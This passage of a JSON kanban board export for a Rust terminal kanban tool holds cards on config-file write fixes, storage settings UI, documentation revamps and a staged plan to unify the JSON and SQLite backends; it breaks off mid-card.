        "description": "Two bugs caused ~/.config/kanban/config.toml to be written when it shouldn't be and to become corrupted when it was, plus related fixes for CLI-supplied storage paths and the settings UI.\n\nFix 1 — Atomic config write (kanban-service):\nReplaced truncate+write with NamedTempFile+rename in write_config_file. On Unix sets 0o600 permissions before writing. Prevents partial writes on crash (the 'ix\"' corruption pattern). Promoted tempfile to a regular dependency.\n\nFix 2 — Skip save when editor exits without changes (kanban-tui):\nAdded content-equality guard in open_config_editor so quitting with :q (no changes) is a no-op — no config file written.\n\nFix 3 — CLI-supplied storage path is session-only (kanban-tui):\nstrip storage fields from the DTO when cli_file_override is true, restore CLI path after saving, skip apply_storage_location_change.\n\nFix 4 — Absolute storage path not injected when CLI arg matches config default (kanban-tui):\nApp::new no longer writes the resolved absolute path into app_config.storage_location when the CLI arg resolves to the same file as the configured default.\n\nFix 5 — Unchanged storage not written to config (kanban-tui):\napply_config_edit compares DTO storage location against the resolved active path; strips it if unchanged.\n\nFix 6 — CLI override unloadable via config editor:\nIf the user uncomments storage fields in the editor while cli_file_override is active, the override is dropped and new storage settings are persisted permanently.\n\nSettings UI — Storage label routing:\nAdded cli_file_provided flag. Configuration panel shows three layouts:\n- Config-only: Storage Backend / Storage Location (from config file)\n- CLI-only: Active Storage Backend / Active Storage Location (from CLI arg)\n- CLI overrides config: both rows, config values greyed out\nAfter migration or override drop, cli_file_provided resets so labels revert to Storage *.\nStorage Location values now always show resolved absolute paths.",
        "due_date": null,
        "id": "a60347cc-597e-4d4e-b020-c6e9470aa2fd",
        "points": null,
        "position": 143,
        "priority": "High",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:44:09.017799302Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Fix config file corruption and unnecessary writes",
        "updated_at": "2026-04-06T21:44:09.017802202Z"
      },
      {
        "card_number": 326,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T21:42:53.464085131Z",
        "created_at": "2026-04-06T21:11:15.904193647Z",
        "description": "## Bug\n\nWhen the CLI overrides the storage file (e.g. `kanban ~/notes/memes/kanban.json`) but `config.toml` defines no `storage_backend` or `storage_location`, the Configuration panel incorrectly showed grayed-out 'Storage Backend' and 'Storage Location' rows.\n\nThese rows are meant to show the config-defined values being overridden by the CLI. But when no storage is configured, they were populated with defaults derived from CWD:\n\n- `effective_storage_location()` returns `\"kanban.json\"` (hardcoded default)\n- `resolve_storage_location()` joins it with CWD → e.g. `/home/max/fulsomenko/kanban/kanban.json`\n\nThis made it look like the config had defined storage pointing to the CWD file, when in fact config said nothing about storage at all.\n\n## Root Cause\n\nIn `crates/kanban-tui/src/ui/settings_view.rs`, the `cli_file_override` branch unconditionally pushed the grayed rows regardless of whether storage was actually set in config. The `original_storage_backend` and `original_storage_location` fields on `App` (which hold the pre-CLI-override values of `app_config.storage_backend` and `app_config.storage_location`) are both `None` when config has no storage defined — but were never checked.\n\n## Fix\n\nGate the grayed rows on `original_storage_backend.is_some() || original_storage_location.is_some()`. When neither is set, skip straight to showing only the 'Active Storage Backend' / 'Active Storage Location' rows.\n\n```rust\n// crates/kanban-tui/src/ui/settings_view.rs\nif app.cli_file_override {\n    let storage_configured = app.original_storage_backend.is_some()\n        || app.original_storage_location.is_some();\n    if storage_configured {\n        // grayed-out config rows\n    }\n    // active rows always shown\n}\n```\n\n## Test\n\nAdded `test_render_settings_cli_override_without_config_storage_hides_config_storage_rows` to `crates/kanban-tui/tests/settings_ui_tests.rs`.\n\nAsserts that when `cli_file_override = true` and both `original_storage_backend` and `original_storage_location` are `None`, every occurrence of 'Storage Backend' in the rendered output is part of 'Active Storage Backend' (i.e. no plain config rows appear).\n\nAlso updated `test_render_settings_storage_fields_greyed_when_cli_file_override` to set `original_storage_backend` so it correctly represents the scenario where config does define storage.",
        "due_date": null,
        "id": "48e22a15-7f16-406d-8e58-ee98ff1d4978",
        "points": 1,
        "position": 144,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:23:46.873725348Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Hide grayed config storage rows when storage is not set in config",
        "updated_at": "2026-04-06T21:42:53.464085340Z"
      },
      {
        "card_number": 333,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-19T22:40:48.384278386Z",
        "created_at": "2026-04-07T20:27:51.974031824Z",
        "description": "## What was done\n\n### Root README\n- Reordered sections: Quick Start → Installation → Features\n- New tagline: \"Keyboard-first kanban for the terminal.\"\n- Dropped \"Normal Mode\" jargon from key binding headers\n- Fixed inaccuracies: removed 'due date' from sort options (not implemented), removed story points range (1–5)\n- Removed V1→V2 migration bullet (no users had v1)\n- Simplified Storage & Sync copy\n\n### Crate READMEs\n- kanban-core: fixed MAX_PAGE_SIZE documented as 1000, actual is 500\n- kanban-domain: fixed field name card_counters → prefix_counters\n\n### Web Landing Page (web/)\n- New hero: value headline, install command as primary CTA, secondary nav links\n- Added Why Kanban? section with differentiator bullets\n- Rewrote feature cards: no emojis, specific copy, stronger differentiators\n- Reordered: Features before Installation\n- Added demo GIF embed\n- New CSS sections: hero-brand, hero-cta, demo, why\n- Added web/README.md\n\n### Demo Infrastructure\n- Packaged agentstation/vhs fork (v0.11.1) in demo/vhs.nix — adds SVG output support\n- Added devShells.demo to root flake (imports demo/shell.nix with flake pkgs)\n- Added ttyd to demo dev shell (required by VHS at runtime)\n- Injected version via ldflags in vhs.nix\n- Fixed malformed PS1 via PROMPT_COMMAND='PS1=\"> \"' in record.sh\n- Set Framerate 16 for natural playback speed\n- record.sh: outputs demo.gif and demo.svg, clean prompt, fixture reset\n- web/default.nix: serves demo.gif (SVG too large at 33MB uncompressed)\n- Updated demo/README.md and added web/README.md\n\n### Tracked separately\n- KAN-332: Require explicit file path — no implicit kanban.json default (TODO)",
        "due_date": null,
        "id": "e479f448-45c4-4cc6-88c5-49f9da962501",
        "points": null,
        "position": 145,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "README, web landing page, and demo infrastructure revamp",
        "updated_at": "2026-04-19T22:40:48.384284513Z"
      },
      {
        "card_number": 335,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-12T13:58:58.777268672Z",
        "description": "## Context\n\nDiscussed in CAT-260 session. Two related but distinct capabilities worth designing before adding more backends.\n\n---\n\n## Use Case 1: Board routing (per-board store selection)\n\nDifferent boards live in different backends:\n\n```\nwork_board    → work.sqlite\npersonal      → ~/notes/personal.json\narchive_2024  → archive://2024.tar.gz\n```\n\nRequires a routing layer: board_id → store locator. Currently absent from the architecture. The StoreRegistry can hold many factories but each invocation resolves to exactly one store instance.\n\n---\n\n## Use Case 2: Entity federation (intra-board splitting)\n\nWithin a single board, different entity types live in different stores:\n\n```\nboard metadata  → config.json\ncards           → cards.sqlite        (queryable, indexed)\nattachments     → ~/docs/             (markdown files, one per card)\nactivity log    → append-only.log\n```\n\n---\n\n## Key design insight\n\nA FederatedStore could itself implement PersistenceStore. It assembles a Snapshot by reading from multiple sub-stores and writes back to the right one per entity type. From KanbanContext perspective it is still one store — federation is opaque to the rest of the system. This fits the existing plugin pattern: FederatedStoreFactory is just another factory that instantiates multiple sub-stores internally.\n\n```\nKanbanContext\n  └── FederatedStore  (implements PersistenceStore)\n        ├── SqliteStore     ← cards, columns\n        ├── JsonStore       ← board metadata, config\n        └── MarkdownStore   ← card descriptions as .md files\n```\n\n---\n\n## Open design questions\n\n- **Consistency**: if writing cards to sqlite succeeds but writing markdown fails, what is the state? Need a compensation or rollback strategy.\n- **Assembly**: what is the merge key when loading? board ID? card ID?\n- **Config shape**: how does a user express 'cards for board X go to Y, attachments go to Z'? Needs a BoardLocator or routing config format.\n- **Migration**: how do you move an entity from one sub-store to another without data loss?\n- **Cross-store operations**: moving a card between boards in different stores requires coordinating two stores with no transaction guarantee between them.\n\n---\n\n## Relationship to backend consolidation (CAT-260)\n\nThe current one-to-one (app → store) architecture is fine for now. This is a future direction. Decide the shape of BoardLocator and FederatedStore before adding more backends so the config format does not need to change later.",
        "due_date": null,
        "id": "a72bd47e-7329-4a11-a909-2f88227528e7",
        "points": null,
        "position": 145,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245100193Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126631786Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245100955Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Multi-store architecture: board routing and entity federation",
        "updated_at": "2026-05-07T22:06:15.245101226Z"
      },
      {
        "card_number": 336,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-13T00:27:55.082610309Z",
        "description": "The early-return path in run_with_args for the Completions subcommand is untested. Add a test: run_with_args([\"kanban\", \"completions\", \"bash\"]) on CliApp::default() should return Ok(()).",
        "due_date": null,
        "id": "fb97936d-7b98-4a23-ae5c-f0bea1271e2f",
        "points": null,
        "position": 146,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245102878Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126573482Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245103614Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add test for Completions subcommand early-return path",
        "updated_at": "2026-05-07T22:06:15.245104097Z"
      },
      {
        "card_number": 348,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-19T21:25:32.826098046Z",
        "created_at": "2026-04-15T20:36:40.945047314Z",
        "description": "Currently KanbanContext loads the entire dataset into Vec<T> fields on startup. PersistenceStore is a snapshot interface (load/save blobs). This makes storage backends interchangeable serialization formats only — SQLite's query engine goes unused. Goal: PersistenceStore becomes a query interface (list_boards, list_cards(filter), get_card, upsert_card, delete_card, etc.). KanbanContext becomes a thin coordinator that delegates reads/writes to the store. SQLite then runs real WHERE clauses. JSON backend becomes honest: loads everything, queries in memory. Undo/redo needs rethinking without full-world clones.",
        "due_date": null,
        "id": "c2aefb17-3426-4bb9-ae0b-bb3164fe6ab0",
        "points": null,
        "position": 146,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Refactor storage to on-demand querying instead of full snapshot in memory",
        "updated_at": "2026-04-19T21:25:32.826099246Z"
      },
      {
        "card_number": 337,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-13T00:28:04.517339583Z",
        "description": "CliApp::with_defaults() manually registers SqliteStoreFactory/JsonStoreFactory, duplicating the logic already in kanban_service::default_registry(). McpServer::with_defaults() does this correctly — CliApp should too.",
        "due_date": null,
        "id": "64304305-e3cc-410a-a70d-2f6fd6fc271d",
        "points": null,
        "position": 147,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245105434Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126600426Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245105995Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "CliApp::with_defaults() should delegate to default_registry()",
        "updated_at": "2026-05-07T22:06:15.245106386Z"
      },
      {
        "card_number": 364,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-19T22:41:41.847301560Z",
        "created_at": "2026-04-19T21:29:23.656828051Z",
        "description": "Regression: navigating to a card and pressing Enter opens the detail view for a different card. Needs minimal fix tracing the card selection index to the detail view.",
        "due_date": null,
        "id": "0cd6c813-6b66-4256-b351-7acaeacebe8b",
        "points": null,
        "position": 147,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "fix(tui): selecting a card opens details for wrong card",
        "updated_at": "2026-04-19T22:41:41.847302658Z"
      },
      {
        "card_number": 338,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-13T00:28:04.530838368Z",
        "description": "pub store_manager in kanban-tui app/mod.rs is wider than needed — only accessed within the same crate by settings_handlers.rs. Change to pub(crate).",
        "due_date": null,
        "id": "d91ca5cb-2295-49d2-a0da-f2ae72ab658f",
        "points": null,
        "position": 148,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245107472Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126599271Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245107922Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "app/mod.rs: store_manager should be pub(crate) not pub",
        "updated_at": "2026-05-07T22:06:15.245108198Z"
      },
      {
        "card_number": 331,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-04-06T22:56:06.190782490Z",
        "created_at": "2026-04-06T22:46:10.777694184Z",
        "description": "## Documentation Revamp — Root README + 9 Crate READMEs\n\nComplete rewrite of all project documentation to be accurate, dense, and compelling.\n\n### Files Modified\n\n| File | Lines | Notes |\n|------|-------|-------|\n| `README.md` | 373 | Full rewrite: hero tagline, feature grid, installation, quick start, full keybinding tables for all 5 contexts, architecture diagram + crate table, persistence details, roadmap |\n| `crates/kanban-mcp/README.md` | 182 | All 40 tools documented (was 14); organized by section with parameter types |\n| `crates/kanban-domain/README.md` | 307 | All models fully documented: Board, Column, Card (every field), Sprint, SprintLog, ArchivedCard, FieldUpdate, DependencyGraph, HistoryManager, error hierarchy, business rules |\n| `crates/kanban-tui/README.md` | 321 | New: module structure, AppMode/DialogMode enums (all 26 dialogs), focus system, view strategies, event loop, full keybinding tables, editor integration, clipboard, components |\n| `crates/kanban-service/README.md` | 236 | Expanded: all KanbanContext fields, complete method tables for all operation groups, undo/redo API, state accessors, utility functions, command execution flow |\n| `crates/kanban-cli/README.md` | 180 | New: full command reference for board/column/card/sprint/top-level, card identifier resolution, JSON output format, BatchOperationResult, shell completions, env vars |\n| `crates/kanban-core/README.md` | 174 | Fixed phantom traits (removed Repository/Service/Loggable that don't exist); documented AppConfig, PaginatedList, Page/PageInfo, InputState, SelectionState, Editable, Graph |\n| `crates/kanban-persistence/README.md` | 159 | New: PersistenceStore, StoreFactory, StoreRegistry, ChangeDetector, Serializer, MigrationStrategy, all shared types |\n| `crates/kanban-persistence-json/README.md` | 101 | New: V2 envelope format, save/load flows, atomic writes, conflict detection, debounced saving, JsonStoreFactory match logic |\n| `crates/kanban-persistence-sqlite/README.md` | 112 | New: SqliteStore, connection pool config, all 14 tables, transactional save/load, schema versioning, SqliteStoreFactory magic-byte detection |\n\n### Key Fixes\n- MCP README previously listed 14 tools; now documents all 40\n- kanban-core previously referenced phantom `Repository`, `Service`, `Loggable` traits not present in source\n- kanban-tui and kanban-cli had no READMEs\n- Card model was missing `sprint_logs`, `completed_at`, `assigned_prefix`, `card_prefix` field docs\n- Status transition semantics (Done <-> completed_at) were undocumented\n- All keybinding tables verified against `crates/kanban-tui/src/keybindings/` source",
        "due_date": null,
        "id": "4de75dc6-a711-4771-80b5-9e9a252e15b2",
        "points": null,
        "position": 148,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Revamp all documentation — root README + 9 crate READMEs",
        "updated_at": "2026-04-27T08:30:39.252429340Z"
      },
      {
        "card_number": 340,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-13T20:26:02.474187560Z",
        "description": "## Problem\n\nThe carry-over dialog exists but is not reachable from the natural sprint completion flow. Three separate gaps:\n\n---\n\n### Gap 1: Auto-trigger silently skipped when no Planning sprint exists\n\n**File:** `crates/kanban-tui/src/handlers/sprint_handlers.rs` lines 135-150\n\nWhen completing a sprint, the dialog only appears if a Planning sprint already exists. If there is none, the dialog is skipped entirely with no feedback. The user has no idea carry-over was even possible.\n\n**Fix:** After sprint completion, if there are uncompleted cards but no Planning sprint, show a message:\n```\n\"Sprint completed. X cards not carried over (no planning sprint available).\"\n```\nOr offer to create a new Planning sprint inline.\n\n---\n\n### Gap 2: 'c' key silently does nothing on a completed sprint\n\n**File:** `crates/kanban-tui/src/handlers/sprint_handlers.rs` lines 88-106\n\n`handle_complete_sprint_key()` returns `None` silently when the sprint is already Completed or Cancelled. The 'c' keybinding description still says \"Complete this sprint\" regardless of sprint status.\n\n**Fix options:**\n- Change keybinding hint text to \"Carry over cards\" when viewing a completed sprint\n- Or show an error/info message: \"Sprint already completed. Use M to carry over cards.\"\n\n---\n\n### Gap 3: 'M' key for carry-over is undiscoverable\n\n**File:** `crates/kanban-tui/src/keybindings/sprint_detail.rs` lines 109-114\n**File:** `crates/kanban-tui/src/handlers/detail_view_handlers.rs` lines 705-714\n\n'M' is the only way to trigger carry-over from a completed sprint view, but it is not shown in the context help bar when the sprint is completed. Users have no way to know it exists.\n\n**Fix:** Ensure 'M' (\"Carry over cards\") appears in the bottom help bar when viewing a Completed or Cancelled sprint.\n\n---\n\n### Summary of expected UX\n\n| User action | Current behaviour | Expected behaviour |\n|---|---|---|\n| Press 'c' to complete sprint with uncompleted cards + Planning sprint exists | Dialog shown | (correct) |\n| Press 'c' to complete sprint with uncompleted cards + no Planning sprint | Silent skip | Show message / offer to create Planning sprint |\n| View completed sprint, press 'c' | Silent no-op | Show hint to use 'M' or rebind |\n| View completed sprint, press 'M' | Works but undiscoverable | Show in help bar |\n",
        "due_date": null,
        "id": "1a4cabd3-e361-41b1-9c5a-16650d9fddd4",
        "points": null,
        "position": 149,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245109706Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126572193Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245110368Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "KAN-210 follow-up: carry-over dialog disconnect from sprint completion flow",
        "updated_at": "2026-05-07T22:06:15.245110654Z"
      },
      {
        "card_number": 231,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T15:13:34.214698980Z",
        "created_at": "2026-03-22T23:43:10.286586719Z",
        "description": "The release workflow continued to the tag/GitHub release steps even after publish-crates.sh exited with code 1. Add safeguards so a partial publish causes the entire job to abort and surface a clear failure, preventing tag/version mismatches and orphaned crates on crates.io.\n\n## Resolution\n\nAlready implemented. publish-crates.sh has `set -uo pipefail` and the publish loop explicitly calls `exit 1` on failure (lines 43-45). The CI job will abort on any crate publish failure.\n\nNo code change needed.",
        "due_date": null,
        "id": "042d74e3-e975-4662-8cdb-aa64021b2d7e",
        "points": 1,
        "position": 149,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:35:37.856371057Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Fail release job immediately if any crate publish fails",
        "updated_at": "2026-05-10T15:13:34.214699796Z"
      },
      {
        "card_number": 384,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-07T22:06:09.412138272Z",
        "created_at": "2026-04-28T08:54:01.006886168Z",
        "description": "Goal: open_context() establishes a connection with zero I/O. Data is loaded lazily on first DataStore/CommandStore call. Eliminates the is_sqlite fork across all three apps (TUI, CLI, MCP).\n\n# Challenge\n\nKanbanContext::load() today: (1) calls PersistenceStore::load() fetching full snapshot blob, (2) deserializes everything into InMemoryStore, (3) loads command log. This is eager-load-everything. All three apps fork on is_sqlite because JSON and SQLite have different initialization contracts.\n\n# TARGET ARCHITECTURE\n\nDataStore + CommandStore are the sole runtime interface. PersistenceStore (blob) is used only for import/export/migration. KanbanBackend gains lifecycle methods: flush(), reload(), needs_flush(), needs_save_worker(), on_undo_state_changed(), instance_id().\n\n### STEP 1 — KanbanBackend lifecycle methods [DONE]\n\nAdd flush/reload/needs_flush/needs_save_worker/on_undo_state_changed/instance_id to KanbanBackend with default no-op impls. SQLite impl: flush()=WAL checkpoint, reload()=no-op, needs_flush()=false. InMemoryStore uses all defaults.\nFiles: crates/kanban-service/src/backend.rs, crates/kanban-persistence-sqlite/src/sqlite_store.rs, crates/kanban-domain/src/data_store.rs\n\n### STEP 2 — JsonDataStore lazy JSON backend [DONE]\n\nNew type in crates/kanban-service/src/json_backend.rs wrapping Arc<dyn PersistenceStore> + RwLock<Option<InMemoryStore>> + AtomicBool dirty. Construction is zero-I/O. ensure_loaded() reads file on first access using block_in_place (requires multi_thread runtime). flush() serialises cache to disk. reload() sets inner=None so next access re-reads. needs_save_worker()=true (background flush worker needed). on_undo_state_changed() caches cursor+baseline for next flush.\n\n### STEP 3 — Simplify KanbanContext [DONE]\n\nSingle constructor KanbanContext::open(backend, config) — zero I/O. baseline_snapshot: Option<Snapshot> starts None, captured lazily on first execute(). command_count restored lazily on first undo/redo via ensure_undo_state_initialized(). save() delegates to backend.flush().await. reload() delegates to backend.reload().await and clears baseline_snapshot. Removed store: Option<Arc<dyn PersistenceStore>> field, replace_store(), store() getter.\nFile: crates/kanban-service/src/context.rs\n\n### STEP 4 — StoreManager::make_backend() [DONE]\n\nNew method returning Arc<dyn KanbanBackend>. If is_sqlite → SqliteStore::open(). Else → JsonDataStore::new(make_store()). Also make_backend_sync() for sync contexts (uses block_on internally).\nFile: crates/kanban-service/src/store_manager.rs\n\n### STEP 5 — kanban_service::open_context() [DONE]\n\nSingle public entry point: sync_backend_with_file() + make_backend() + KanbanContext::open(). All three apps can call this instead of duplicating the StoreManager dance.\nFile: crates/kanban-service/src/lib.rs\n\n### STEP 6 — Wire FileWatcher to backend.reload() [DONE]\n\nauto_reload_from_external_change() in app/mod.rs now calls ctx.reload() → backend.reload() instead of store.load().await directly. SaveCoordinator sends () flush signals instead of Snapshot blobs; save worker calls backend.flush().await on each signal. TuiContext uses needs_save_worker() to decide whether to spawn the background worker.\nFiles: crates/kanban-tui/src/app/mod.rs, crates/kanban-tui/src/state/mod.rs, crates/kanban-tui/src/tui_context.rs, crates/kanban-tui/src/handlers/settings_handlers.rs\n\n### STEP 7 — Unify App Initialization [PENDING]\n\nReplace divergent is_sqlite forks in all three apps with open_context().\n\nTUI: Collapse App::new_with_store() + App::open_sqlite() into App::new(ctx: KanbanContext). Remove TuiContext::from_context(); TuiContext::new(ctx) is the only constructor. SaveCoordinator::new() uses ctx.backend().needs_flush() instead of store.is_some().\n\nCLI: Remove if is_sqlite { App::open_sqlite() } else { App::new_with_store() } fork in app.rs. CliContext::load() calls kanban_service::open_context() directly. Remove StoreManager parameter.\n\nMCP: McpContext::new() calls kanban_service::open_context() directly. Remove StoreManager parameter.\n\nDelete dead code: App::open_sqlite(), App::new_with_store(), TuiContext::from_context(), resolve_is_sqlite() helper.\n\nTDD tests to write first:\n\n- test_tui_context_single_constructor_json (save_rx is Some)\n- test_tui_context_single_constructor_sqlite (save_rx is None)\n- test_cli_init_and_run_json_unified_path\n- test_cli_init_and_run_sqlite_unified_path\n- test_mcp_list_boards_json_unified_path\n- test_mcp_list_boards_sqlite_unified_path\n\nFiles to modify:\n\n- crates/kanban-cli/src/app.rs\n- crates/kanban-cli/src/context.rs\n- crates/kanban-mcp/src/context.rs\n- crates/kanban-mcp/src/server.rs\n- crates/kanban-tui/src/app/mod.rs\n- crates/kanban-tui/src/tui_context.rs\n\nVERIFICATION (all steps)\n\n1. cargo test --workspace — all tests pass\n2. cargo run -- init --name Test test.json && cargo run test.json — JSON path works\n3. cargo run -- init --name Test test.sqlite && cargo run test.sqlite — SQLite path works\n4. Modify test.json externally while TUI open → conflict banner appears\n5. Modify test.sqlite externally → next read reflects new state transparently\n6. MCP tool calls persist for both backends\n7. Undo/redo works on both backends after lazy baseline change\n\n---\n\n\nPlan to implement\n\n### Create Kanban Card: Step 7 — Unify App Initialization\n\nContext\n\nSteps 1–6 of the \"Unified Backends via True Deferred Reads\" architecture are complete and committed.\nStep 7 (unifying CLI, MCP, and TUI initialization paths) has not been done yet and needs to be tracked\nas a kanban card so it can be planned and scheduled.\n\nTask\n\nRun a single CLI command to create the card in ~/notes/memes/kanban.json.\n\nBoard Info\n\n- File: ~/notes/memes/kanban.json\n- Board ID: e119c091-e1fa-4596-9bc7-038ceab6adec\n- Column: TODO → ID: 591afb61-7289-46bf-ba07-21758afd44fe\n\nCommand\n\nkanban ~/notes/memes/kanban.json card create \\\n  --board-id e119c091-e1fa-4596-9bc7-038ceab6adec \\\n  --column-id 591afb61-7289-46bf-ba07-21758afd44fe \\\n  --title \"Architecture: Unified Backends via True Deferred Reads\" \\\n  --description \"Goal: open_context() establishes a connection with zero I/O. Data is loaded lazily on first\nDataStore/CommandStore call. Eliminates the is_sqlite fork across all three apps (TUI, CLI, MCP).\n\nPROBLEM\nKanbanContext::load() today: (1) calls PersistenceStore::load() fetching full snapshot blob, (2) deserializes everything into\nInMemoryStore, (3) loads command log. This is eager-load-everything. All three apps fork on is_sqlite because JSON and SQLite\nhave different initialization contracts.\n\nTARGET ARCHITECTURE\nDataStore + CommandStore are the sole runtime interface. PersistenceStore (blob) is used only for import/export/migration.\nKanbanBackend gains lifecycle methods: flush(), reload(), needs_flush(), needs_save_worker(), on_undo_state_changed(),\ninstance_id().\n\nSTEP 1 — KanbanBackend lifecycle methods [DONE]\nAdd flush/reload/needs_flush/needs_save_worker/on_undo_state_changed/instance_id to KanbanBackend with default no-op impls.\nSQLite impl: flush()=WAL checkpoint, reload()=no-op, needs_flush()=false. InMemoryStore uses all defaults.\nFiles: crates/kanban-service/src/backend.rs, crates/kanban-persistence-sqlite/src/sqlite_store.rs,\ncrates/kanban-domain/src/data_store.rs\n\nSTEP 2 — JsonDataStore lazy JSON backend [DONE]\nNew type in crates/kanban-service/src/json_backend.rs wrapping Arc<dyn PersistenceStore> + RwLock<Option<InMemoryStore>> +\nAtomicBool dirty. Construction is zero-I/O. ensure_loaded() reads file on first access using block_in_place (requires\nmulti_thread runtime). flush() serialises cache to disk. reload() sets inner=None so next access re-reads.\nneeds_save_worker()=true (background flush worker needed). on_undo_state_changed() caches cursor+baseline for next flush.\n\nSTEP 3 — Simplify KanbanContext [DONE]\nSingle constructor KanbanContext::open(backend, config) — zero I/O. baseline_snapshot: Option<Snapshot> starts None, captured\nlazily on first execute(). command_count restored lazily on first undo/redo via ensure_undo_state_initialized(). save()\ndelegates to backend.flush().await. reload() delegates to backend.reload().await and clears baseline_snapshot. Removed store:\nOption<Arc<dyn PersistenceStore>> field, replace_store(), store() getter.\nFile: crates/kanban-service/src/context.rs\n\nSTEP 4 — StoreManager::make_backend() [DONE]\nNew method returning Arc<dyn KanbanBackend>. If is_sqlite → SqliteStore::open(). Else → JsonDataStore::new(make_store()). Also\n make_backend_sync() for sync contexts (uses block_on internally).\nFile: crates/kanban-service/src/store_manager.rs\n\nSTEP 5 — kanban_service::open_context() [DONE]\nSingle public entry point: sync_backend_with_file() + make_backend() + KanbanContext::open(). All three apps can call this\ninstead of duplicating the StoreManager dance.\nFile: crates/kanban-service/src/lib.rs\n\nSTEP 6 — Wire FileWatcher to backend.reload() [DONE]\nauto_reload_from_external_change() in app/mod.rs now calls ctx.reload() → backend.reload() instead of 